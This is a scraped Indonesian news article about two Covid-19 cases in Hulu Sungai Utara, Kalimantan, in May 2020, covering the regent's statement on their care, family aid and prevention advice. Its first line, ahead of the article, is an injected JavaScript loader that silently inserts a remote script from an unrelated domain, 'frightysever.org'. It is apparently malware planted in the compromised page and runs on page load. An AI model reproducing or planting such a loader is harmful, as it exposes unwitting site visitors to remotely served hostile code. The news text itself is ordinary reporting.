(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pasca terkonfirmasi dua pasien positif Covid-19 di Kabupaten Hulu Sungai Utara (HSU), Bupati HSU H Abdul Wahid HK berharap masyarakat tak perlu panik. Sebab kedua pasien tersebut sudah ditangani dengan sebaik-baiknya.
Demikian diungkapkan Bupati Wahid yang juga Ketua Gugus Tugas Pencegahan dan Penanggulangan Covid-19 HSU saat memberikan Konferensi press Media Center di Mess Negara Dipa, Jumat (8/5/2020) siang.
Wahid menyebut dua pasien sebelumnya telah melakukan isolasi mandiri dan saat ini sudah ditangani dan kondisinya stabil. “Satu pasien dari Kecamatan Amuntai Tengah dengan usia 48 tahun dan dari Kecamatan Amuntai Selatan dengan usia 67 tahun,” jelas Wahid.
Dikatakannya, sesuai dengan arahan Dinas Kesehatan provinsi untuk pasien berusia 48 tahun telah dirujuk ke tempat isolasi Ambulung Banjarbaru untuk menjalani perawatan dan isolasi lebih lanjut. “Sedangkan karena memiliki resolusi tinggi, pasien yang berusia 67 tahun saat ini dilakukan perawatan di RSUD Pambalah Batung Amuntai,” lanjutnya.
Wahid meyakinkan selama penanganan pasien berusia 67 tahun ini akan diberikan perawatan di ruangan khusus di RSUD Pambalah Batung Amuntai. Sementara untuk kedua keluarga pasien, pihaknya akan memberikan bantuan sembako selama menunjang waktu isolasi karena terdampak Covid-19.
“Kami sadari kedua pasien ini merupakan tulang punggung keluarga, karenanya Pemerintah daerah perlu memberikan dukungan untuk menunjang kehidupan keluarga yang ditinggal selama menjalani perawatan (isolasi),” kata Wahid.
Selain itu, Bupati Wahid juga menghimbau warga yang berada di lingkungan keluarga pasien agar berprasangka baik serta tetap menjalankan aktivitasnya dengan tetap menjalankan himbauan protokol pencegahan Covid-19 di lingkungannya.
“Tetap memakai masker bila keluar rumah, menjaga jarak apabila berbicara, menghindari kerumunan dimanapun, mencuci tangan dengan sabun, berwudhu dan mengkonsumsi makanan yang bergizi dan menjaga pola hidup bersih dan sehat,” tegas Wahid.
Kedua pasien tersebut tercatat sebagai alumni klaster Gowa yang sebenarnya juga telah melakukan isolasi mandiri selama 14 hari. Sehingga atas temuan ini selanjutnya akan dilakukan kembali tracing oleh Dinas Kesehatan (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARMASIN - PT Pertamina Patra Niaga Integrated Terminal Banjarmasin melakukan simulasi keadaan darurat bersama… Read More
KANALKALIMANTAN.COM, BANJARBARU – Lawatan politik Erna Lisa Halaby terus berlanjut mendatangi dua partai politik jelang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter 1 Embarkasi Banjarmasin dari Kabupaten Banjar, Kalimantan Selatan (Kalsel)… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi, ngopi santai bareng mendengar aspirasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tepat 27 tahun lalu, pada 23 Mei 1997 kerusuhan pecah di pengujung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Lobi politik Erna Lisa Halaby terus dilakukan mencari partai pengusung dalam Pemilihan… Read More
This website uses cookies.